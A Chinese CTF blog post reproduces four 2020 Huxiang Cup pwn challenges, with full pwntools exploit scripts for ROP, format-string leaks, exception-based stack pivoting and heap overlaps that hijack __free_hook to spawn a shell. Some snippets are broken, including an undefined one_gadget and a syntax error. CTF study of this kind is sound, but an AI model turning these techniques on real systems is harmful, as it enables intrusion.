2020湖湘杯復現


雖然沒打,但是還是根據師傅們的博客復現一波

參考鏈接:
https://fmyy.pro/2020/11/02/Competition/湖湘杯2020/
https://www.anquanke.com/post/id/221334

printf_pwn

暫時不理解為什么輸入0x20就能直接進入棧溢出的函數,先記錄下吧,改天復現學習一下google ctf

from pwn import *

local = 1

binary = "./main"
libc_path = './libc-2.23.so'
# port = ""

if local == 1:
	p = process(binary)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

for i in range(16):
	p.sendline(str(0x20))

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['puts']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

elf = ELF(binary)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_addr = elf.plt['read']
pop_rdi_ret = 0x0000000000401213
vul = 0x40117F
# vul = 0x4007D4

'''
0x0000000000401213 : pop rdi ; ret
'''

payload = 0x8 * 'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vul) + p64(puts_plt)
print "[*] payload len:",hex(len(payload))
p.send(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
leak_libc(puts_addr)

payload = 0x8 * 'a' + p64(pop_rdi_ret) + p64(one_gadget) + p64(binsh_addr) + p64(system) + p64(0xdeadbeef)
p.send(payload)

p.interactive()

blend_pwn

我願稱之為三洞合一
格式化字符串漏洞,棧溢出,UAF
看了師傅們的博客才知道題目原型在2017年的一道題目,利用手法很巧妙

這里是利用C++的異常處理,拋出了一個異常,異常的名字很怪,可以在bss段中看到它。這里存在一個棧溢出的漏洞,可以溢出0x8字節,也就是可以直接覆蓋rbp。但是程序開啟了一個Canary的保護,那么漏洞利用的主要就在於異常處理了。先是通過_cxa_allocate_exception分配了一個0x90大小的堆塊,然后在申請的空間中賦了字符串的值。這里在調試的時候發現其調用了bss段中的函數指針,一開始的想法就是修改這個指針,但是沒有辦法利用UAF。后面就是通過_cxa_throw函數拋出異常的過程了,這個時候查到了原型題目,發現main函數中存在try catch的捕捉異常的結構,當拋出異常的時候就能直接被main函數捕捉到之后就會進入catch,這個時候rbp就會變成main函數的ebp,異常處理結束之后直接leave,ret了,並沒有檢查canary的值。

所以思路就是在堆上布置一個one_gadget作為返回地址,然后利用gift函數棧遷移到堆上,最后執行ret指令getshell
總結:
棧溢出作用:棧遷移到堆上
UAF作用:泄漏堆地址(該題只能add兩次)
格式化字符串作用:泄漏libc

from pwn import *

local = 1

binary = "./blend_pwn"
libc_path = './libc-2.23.so'
# port = ""

if local == 1:
	p = process(binary)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def name(name):
	p.sendlineafter('Please enter a name:',name)

def format():
	p.sendlineafter('Enter your choice >','1')

def add(content):
	p.sendlineafter('Enter your choice >','2')
	p.sendafter('input note:',content)

def free(index):
	p.sendlineafter('Enter your choice >','3')
	p.sendlineafter('index>',str(index))

def show():
	p.sendlineafter('Enter your choice >','4')

def gift(payload):
	p.sendlineafter('Enter your choice >','666')
	p.sendafter('Please input what you want:',payload)

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['__libc_start_main']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

name('%11$p\n')
format()
# __libc_start_main = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 240
p.recvuntil('0x')
__libc_start_main = int(p.recv(12),16) - 240
leak_libc(__libc_start_main)

one_gadget = libc_base + 0x4526a
rop = p64(0) * 4 + p64(one_gadget)
add(rop + '\n')	#0
add(rop + '\n')	#1

free(0)
free(1)
show()
p.recvuntil('index 2:')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print "[*] heap:",hex(heap_addr)

fake_rbp = heap_addr + 0x28	  # one_gadget - 0x8
payload = p64(0) * 4 + p64(fake_rbp)
gift(payload)

# gdb.attach(p)
p.interactive()

only_add

我暈了,陰間題目復現了一整天才出來,調試快把眼睛調瞎了,這個必須好好記錄一下,wtcllllllll,orz
這波啊,這波是堆風水

逆向與漏洞分析


這個程序只允許add,沒有free,但是申請堆塊的時候用的是realloc函數
realloc(0) 相當於一個free操作,而且當我們realloc的size小於之前的size的時候相當於對chunk進行一個切割操作,然后將剩下的chunk給free掉

第二個功能就是調用close函數關閉標准輸出流

漏洞點在於add功能里面的一個很明顯的off-by-one漏洞,可以構造重疊的堆塊來打
但是構造就比較麻煩,需要對堆塊進行布局,下面詳細記錄一下

把眼睛看瞎的調試過程

首先要泄漏地址這是沒得說的,思路就是爆破_IO_2_1_stdout_,但是要分配到那里去,必須要有一個指向main_arena附近的堆指針
考慮unsorted bin,這樣我們利用realloc size < prev size的特點來逐步填充tcache bin
我按照安全客上那個大師傅寫的exp沒有打通,在清掉buf之后的內容自己又寫了一遍,自己的是可以打通的,但是前面的堆布局是按照師傅的博客寫的,布局太精妙了,總之wtcl,周四或周五自己再想一種新的布局吧

malloc_size = 0x4f0
for i in range(6):
	add(malloc_size,'a)
	add(0x80,'a')
	delete()
add(malloc_size,'1')
add(0xa8,'1')
delete()
add(malloc_size)
add(0x80)
delete()

目前的堆布局是這樣的


在這偽造一個0xb0大小的堆塊是為了后續構造overlap chunk來做個准備

第二步是來構造三個0x30大小左右的chunk,然后來做堆重疊,方便覆蓋fd pointer

add(malloc_size)
add(0x28)
delete()

add(malloc_size)
add(0x28)
delete()

add(malloc_size)
add(0x48)
delete()

add(malloc_size)
add(0x28)


第三步就是來生成unsorted,然后利用之前的0xb0大小的chunk來做一個off-by-one,利用下面幾個小chunk來做

add(0x3c0)
add(0x80)
delete()

add(0xa8, b"a" * 0xa8 + b'\xf1')

成功溢出,將一個為0x90大小的chunk的size給改了

第四步來將剛才改掉的0x90大小的chunk給申請過來,然后free掉,讓其進入0xf0大小的tcache bin中

add(0x88)
delete()


這時該chunk的空間布局是這樣的

然后干這樣的事情,改一下堆布局,就成這樣了

add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x21) + b"\xe0")

完成堆重疊,能夠控制unsorted bin了

delete()

add(0x48, b"a" * 0x48 + b"\xc1")
delete()

add(0x28)
delete()

stdout = 0xa760
add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
delete()

成功踩掉后兩個字節,倒數第四位需要爆破,1/16的概率

第五步來爆破標准輸出流,爆破成功后是這樣的,所以這樣寫

delete()
add(0x28)
delete()
add(0x28)
delete()
# dbg()
add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00")
p.recvuntil(p64(0xfbad2887 | 0x1000), timeout = 0.5 )
p.recv(0x18)
leak = u64(p.recv(8)) + 0x60
leak_libc(leak)
log.success("libc address is {}".format(hex(libc_base)))

最后一步先調用close函數清掉buf緩沖區(因為IO那個fake chunk不滿足free的要求)
然后利用重疊的chunk來打__free_hook,最后重定位一下即可,值得一提的是后面沒有按照安全客那個博客寫,因為感覺他寫的是錯的,本地也沒打通

close_stdout()
p.recvuntil("Bye\n")

__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

add_without(0x38)
delete_without()

payload = p64(0) * 5 + p64(0x51) + p64(__free_hook - 0x18)
add_without(0xb0,payload)
delete_without()

add_without(0x38)
delete_without()

payload2 = b"whoami 1>&2".ljust(0x18, b"\x00") + p64(system_addr) + b"\n"
add_without(0x38, payload2)
delete_without()

最后效果可以看到成功執行命令whoami

完整exp

from pwn import *

local = 1

'''
author: lemon
time: 2020-11-11
libc: libc-2.28.so
python version: 3.7
'''

binary = "./main"
libc_path = './libc-2.28.so'
libc = ELF(libc_path)

if local == 1:
	p = process(binary)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add(size,content = 'a'):
	p.sendlineafter('choice:','1')
	p.sendlineafter('Size:',str(size))
	p.sendafter('Data:',content)

def delete():
    p.sendlineafter("choice:", "1")
    p.sendlineafter("Size:", str(0))

def close_stdout():
	p.sendlineafter("choice:", "2")

def add_without(size, content=b"\n"):
	p.sendline("1")
	sleep(0.1)
	p.sendline(str(size))
	sleep(0.1)
	p.send(content)
	sleep(0.1)

def delete_without():
	p.sendline("1")
	sleep(0.1)
	p.sendline(str(0))
	sleep(0.1)

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['_IO_2_1_stdout_']
	print ("[*] libc base:",hex(libc_base))
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

while True:
	p = process(binary)
	try:
		malloc_size = 0x4f0
		for i in range(6):
			add(malloc_size,'a')
			add(0x80,'a')
			delete()
		
		add(malloc_size,'1')
		add(0xa8,'1')
		delete()
		
		add(malloc_size)
		add(0x80)
		delete()
		
		add(malloc_size)
		add(0x28)
		delete()
		
		add(malloc_size)
		add(0x28)
		delete()
		
		add(malloc_size)
		add(0x48)
		delete()
		
		add(malloc_size)
		add(0x28)
		delete()
		
		log.success("free unsorted bin chunk")
		add(0x3c0)
		add(0x80)
		delete()
		
		add(0xa8, b"a" * 0xa8 + b'\xf1')
		delete()
		add(0x88)
		delete()
		
		add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x21) + b"\xe0")
		delete()
		
		add(0x48, b"a" * 0x48 + b"\xc1")
		delete()
		
		add(0x28)
		delete()
		
		stdout = 0xa760
		add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
		delete()
		add(0x28)
		delete()
		add(0x28)
		delete()
		dbg()
		add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00")
		p.recvuntil(p64(0xfbad2887 | 0x1000), timeout = 0.5 )

		p.recv(0x18)
		leak = u64(p.recv(8)) + 0x60
		leak_libc(leak)
		log.success("libc address is {}".format(hex(libc_base)))
		
		if libc_base > 0x800000000000:
			p.close()
			continue

		break

	except KeyboardInterrupt:
		exit(0)

close_stdout()
p.recvuntil("Bye\n")

__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

add_without(0x38)
delete_without()

payload = p64(0) * 5 + p64(0x51) + p64(__free_hook - 0x18)
add_without(0xb0,payload)
delete_without()

add_without(0x38)
delete_without()

payload2 = b"whoami 1>&2".ljust(0x18, b"\x00") + p64(system_addr) + b"\n"
add_without(0x38, payload2)
delete_without()

p.interactive()

cat flag:

babyheap

雖然也有點兒堆風水的味道,但是比上面那個簡單的多,也是我比賽中唯一可能做出來的了(我自己爬)
漏洞點在off-by-null,並且只能申請0xf8大小的chunk,但是比較簡單的是我們可申請的chunk非常多

思路就是一開始整一個大的unsorted bin,然后再申請一個chunk,這樣根據殘留的堆指針可以leak libc_base
然后構造chunk,利用off by null,使得兩個指針指向同一個chunk,一個作為free態,一個作為可edit的allocated的chunk,然后就打freehook即可
最后構造出來是這樣的


getshell,這個題還是挺簡單的

exp:

from pwn import *

local = 1

'''
author: lemon
time: 2020-11-11
libc: libc-2.28.so
python version: 3.8.2
'''

binary = "./main"
libc_path = './libc-2.28.so'
# port = ""

if local == 1:
	p = process(binary)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add():
	p.sendlineafter('>>','1')

def show(index):
	p.sendlineafter('>>','2')
	p.sendlineafter('index?',str(index))

def edit(index,size,content):
	p.sendlineafter('>>','3')
	p.sendlineafter('index?',str(index))
	p.sendlineafter('Size:',str(size))
	p.sendafter('',content)

def free(index):
	p.sendlineafter('>>','4')
	p.sendlineafter('index?',str(index))

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['__malloc_hook'] - 0x1f0
	print ("[*] libc base:",hex(libc_base))
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

for i in range(7):
	add()

add()	# 7
add()	# 8
add()	# 9

for i in range(7):
	free(i)

free(7)
free(8)

for i in range(7):
	add()

log.success("Now , unsorted bin is 0x200, we alloca 0x100, it must has a pointer to point main_arena*")
add()	# 7 

show(7)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10
leak_libc(leak)

log.success("Now , we attack __free_hook")

add()	# 8
add()	# 10
add()	# 11
add()	# 12
add()	# 13
add()	# 14
add()	# 15
add()	# 16

for i in range(7):
	free(i)

free(9)
free(10)
free(11)
free(12)

for i in range(7):
	add()

add() # 9
add() # 10
add() # 11
add() # 12

for i in range(7):
	free(i)

free(9)
edit(10,0xf8,'lemon')
free(11)

for i in range(7):
	add()

add()	# 9
add()	# 11 == 10

free(10)

payload = p64(__free_hook)
edit(11,0xf0,payload)

add()	# 10
edit(10,0xf0,'/bin/sh')
add()	# 17
edit(17,0xf0,p64(system))

free(10)

# gdb.attach(p)
p.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM